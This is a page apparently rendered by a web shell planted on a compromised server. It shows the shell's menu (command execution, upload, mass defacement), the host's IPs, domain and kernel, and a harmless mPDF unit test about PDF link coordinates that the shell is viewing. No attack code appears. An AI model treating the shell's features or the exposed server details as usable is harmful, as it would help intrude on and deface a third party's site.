���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
vendor
/
misterspelik
/
mpdf
/
tests
/
Issues
/
Viewing: Issue900Test.php
<?php namespace Issues; use Mpdf\Output\Destination; use setasign\Fpdi\PdfParser\StreamReader; class Issue900Test extends \Mpdf\BaseMpdfTest { public function testMergePdfWithLinks() { $this->mpdf->WriteHTML('<a href="https://example.org">My Link</a>'); $output = StreamReader::createByString($this->mpdf->Output('', DESTINATION::STRING_RETURN)); // Reset MPDF $this->mpdf = new \Mpdf\Mpdf(['mode' => 'c']); $this->mpdf->SetCompression(false); $this->mpdf->setSourceFile($output); $pageId = $this->mpdf->importPage(1); $this->mpdf->useTemplate($pageId); /* Standard layout */ $this->assertCount(1, $this->mpdf->PageLinks[1]); $this->assertEquals(42, floor($this->mpdf->PageLinks[1][0][0])); $this->assertEquals(795, floor($this->mpdf->PageLinks[1][0][1])); /* Offset */ $this->mpdf->AddPage(); $this->mpdf->useTemplate($pageId, 50, 50); $this->assertCount(1, $this->mpdf->PageLinks[2]); $this->assertEquals(184, floor($this->mpdf->PageLinks[2][0][0])); $this->assertEquals(653, floor($this->mpdf->PageLinks[2][0][1])); /* Offset with alternate page size */ $this->mpdf->AddPage(); $this->mpdf->useTemplate($pageId, 50, 50, 150); $this->assertCount(1, $this->mpdf->PageLinks[3]); $this->assertEquals(172, floor($this->mpdf->PageLinks[3][0][0])); $this->assertEquals(667, floor($this->mpdf->PageLinks[3][0][1])); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa